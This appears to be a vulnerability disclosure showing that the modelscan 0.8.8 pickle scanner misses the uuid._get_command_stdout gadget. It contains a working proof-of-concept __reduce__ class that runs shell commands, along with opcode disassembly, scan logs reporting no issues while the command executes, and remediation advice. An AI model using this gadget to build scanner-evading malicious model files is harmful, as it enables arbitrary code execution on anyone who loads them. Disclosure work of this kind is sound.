Views
No views yet
uuid._get_command_stdout pickle reduce-gadget (RCE)modelscan 0.8.8 (latest) statically inspects pickle GLOBAL/STACK_GLOBAL opcodes
and flags a global only when its literal module string appears in the
unsafe_globals blocklist (modelscan/settings.py). The blocklist covers
os, posix, nt, subprocess, runpy, asyncio, socket, pty, shutil,
sys, pickle, bdb, pdb, a subset of builtins, and operator.attrgetter.uuid module, which ships a helper
uuid._get_command_stdout(command, *args) that resolves command with
shutil.which() and then runs it via subprocess.Popen((executable, *args))
with a fully attacker-controlled argv. Used as a pickle __reduce__ target this
gives one-shot command execution that modelscan scans CLEAN, while
pickle.load / joblib.load / torch.load execute the command.1class Exploit:
2 def __reduce__(self):
3 return (uuid._get_command_stdout, ("sh", "-c", "id"))_get_command_stdout("sh", "-c", "id") -> shutil.which("sh") ->
subprocess.Popen(("/usr/bin/sh", "-c", "id"), ...).python3 build_poc.py # writes model.pkl
modelscan -p model.pkl # => "No issues found! 🎉" (exit 0)
python3 -c "import pickle; pickle.load(open('model.pkl','rb'))" # runs the commandmodelscan -p model.pkl -> No issues found! 🎉, total_issues: 0 (see scan.json)pickle.load and joblib.load both execute the command.uuid._get_command_stdout is a
subprocess.Popen wrapper in a module the deny-list omits, so the malicious
global is invisible to the scanner.uuid (and other stdlib subprocess/os wrappers) to unsafe_globals, or
move to an allow-list model that flags any global not on a vetted-safe list.modelscan to gate untrusted .pkl/.joblib/.bin model files.pickletools.dis model.pkl) 11: \x8c SHORT_BINUNICODE 'uuid'
18: \x8c SHORT_BINUNICODE '_get_command_stdout'
40: \x93 STACK_GLOBAL
42: \x8c SHORT_BINUNICODE 'sh'
47: \x8c SHORT_BINUNICODE '-c'
52: \x8c SHORT_BINUNICODE 'id'
57: \x87 TUPLE3
59: R REDUCE
61: . STOPuuid . _get_command_stdout, followed by TUPLE3 + REDUCE.===== MODELSCAN 0.8.8 SCAN =====
Scanning .../model.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! 🎉
EXIT=0
JSON: {"summary": {"total_issues_by_severity": {"LOW":0,"MEDIUM":0,"HIGH":0,"CRITICAL":0}, "total_issues": 0, "modelscan_version": "0.8.8", "scanned": {"total_scanned": 1, "scanned_files": ["model.pkl"]}, "issues": [], "errors": []}
===== pickle.load =====
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),...
PWNED_VIA_UUID_GADGET
===== joblib.load =====
uid=1000(kali) gid=1000(kali) groups=1000(kali),...
PWNED_VIA_UUID_GADGET
===== NEGATIVE CONTROL (benign pickle) =====
benign: no marker (correct)
No issues found! 🎉
uuid present in blocklist: Falseuuid gadget is NEW: uuid is neither in the unsafe_globals blocklist
nor among the ~40 previously-filed modelscan reduce-gadgets (dataclasses,
spawnv_passfds, logging.config, doctest, codeop, marshal, pydoc,
numpy.ctypeslib, typing, inspect, code, cProfile, timeit,
operator.methodcaller+ctypes, etc.).uuid._get_command_stdout is a direct subprocess.Popen((exe, *args)) wrapper
with attacker-controlled argv — a clean one-shot exec target, distinct from
the string-eval / import-based gadgets in prior filings.